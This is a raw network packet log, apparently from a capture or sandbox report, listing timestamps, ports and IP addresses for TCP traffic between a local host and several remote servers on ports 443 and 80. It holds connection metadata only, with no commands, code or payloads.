Feb 20, 2024 23:46:04.756326914 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.756335974 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.756859064 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.756993055 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.757848978 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.757916927 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.758835077 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.758929014 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.759525061 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.759531975 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:04.796613932 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.796638012 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.796644926 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.796652079 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:04.814857960 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:04.840526104 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:04.925987959 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.926927090 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:04.927048922 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.927669048 CET	49714	443	192.168.2.5	142.250.31.84
Feb 20, 2024 23:46:04.927685976 CET	443	49714	142.250.31.84	192.168.2.5
Feb 20, 2024 23:46:05.030534983 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:05.030937910 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:05.031114101 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:05.031471968 CET	49715	443	192.168.2.5	142.251.40.238
Feb 20, 2024 23:46:05.031493902 CET	443	49715	142.251.40.238	192.168.2.5
Feb 20, 2024 23:46:05.284648895 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:05.284743071 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:05.285247087 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:05.289166927 CET	49712	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:05.289187908 CET	443	49712	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:05.381959915 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.382006884 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.382977009 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.383413076 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.383434057 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.575473070 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.577430010 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.577446938 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.578512907 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.578757048 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.580874920 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.580944061 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.581403017 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:05.581412077 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:05.622684002 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.073115110 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.073179007 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.073199034 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.073343992 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.073405027 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.082731962 CET	49717	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.082752943 CET	443	49717	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.089970112 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.090018034 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.090082884 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.091727972 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.091744900 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.177270889 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.280054092 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.280343056 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.280384064 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.280761957 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.281084061 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.281151056 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.281341076 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.321914911 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.393584967 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.393685102 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.394058943 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.467281103 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.467355967 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.467402935 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.467401981 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.467434883 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.467479944 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.467489004 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.467504025 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.467552900 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.547766924 CET	49718	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.547806978 CET	443	49718	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.580153942 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.580195904 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.580257893 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.580550909 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.580564022 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.609525919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610214949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610327005 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610378981 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.610404015 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610467911 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610506058 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.610522985 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610601902 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.610651016 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.610908985 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.611223936 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.611268044 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.611289024 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.611449957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.611490011 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.774274111 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.801105976 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.801170111 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.801712990 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.816760063 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.816854954 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.817069054 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.826312065 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826651096 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826786041 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826800108 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826812029 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826827049 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826838970 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826842070 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.826853037 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826869011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826880932 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.826884985 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826903105 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.826905012 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.826929092 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.826957941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.827027082 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.827420950 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.827991962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.828005075 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.828017950 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.828032970 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.828073978 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.828423023 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.828440905 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.828653097 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.828718901 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.828974009 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:06.829029083 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:06.857923985 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.984438896 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.984558105 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:06.984989882 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.986174107 CET	49720	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:06.986191034 CET	443	49720	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:07.042546988 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042587042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042608976 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042674065 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.042691946 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042717934 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042764902 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042767048 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.042820930 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042854071 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.042880058 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042921066 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.042922974 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.042978048 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043040037 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043045044 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043100119 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043118000 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043145895 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043185949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043246031 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043265104 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043317080 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043376923 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043381929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043427944 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043473959 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043490887 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043555975 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043598890 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043602943 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043665886 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043687105 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043734074 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043751955 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043806076 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043807983 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043848991 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043901920 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.043951035 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.043956041 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044003963 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.044012070 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044059038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044132948 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044147968 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044162989 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.044193029 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.044222116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044250965 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044298887 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044308901 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.044349909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044399023 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.044409990 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044469118 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044482946 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044526100 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.044565916 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.044619083 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258266926 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258290052 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258302927 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258341074 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258373022 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258457899 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258527040 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258647919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258713007 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258734941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258800030 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258848906 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258883953 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258896112 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258940935 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258949041 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258980989 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.258986950 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.258995056 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259031057 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259052038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259054899 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259087086 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259090900 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259105921 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259149075 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259169102 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259212017 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259222984 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259232044 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259246111 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259279966 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259296894 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259325027 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259332895 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259339094 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259351969 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259376049 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259388924 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259403944 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259413958 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259428978 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259464979 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259489059 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259502888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259516954 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259536982 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259556055 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259569883 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259582996 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259591103 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259607077 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259620905 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259646893 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259675980 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259691954 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259706020 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259732962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259776115 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259783030 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259797096 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259810925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259840012 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259870052 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.259931087 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259944916 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259957075 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259983063 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.259994984 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260003090 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260008097 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260021925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260035038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260046959 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260047913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260061026 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260072947 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260086060 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260097980 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260099888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260114908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260128021 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260139942 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260145903 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260158062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260171890 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260185957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260185957 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260225058 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260231972 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260245085 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260253906 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260257006 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260308981 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260313988 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260428905 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260617018 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260662079 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260675907 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260689020 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260724068 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260726929 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260766983 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260785103 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260802984 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260817051 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260832071 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260865927 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.260895014 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260909081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260922909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.260982037 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.261012077 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.261073112 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.261086941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.261131048 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.261136055 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.261187077 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.474113941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.474342108 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.474414110 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.474533081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.474622965 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.474693060 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.475227118 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.475414038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.475466967 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.475594997 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.475707054 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.475755930 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.475831985 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.475900888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.475989103 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.476052046 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.476248980 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.476304054 CET	49719	80	192.168.2.5	5.101.153.86
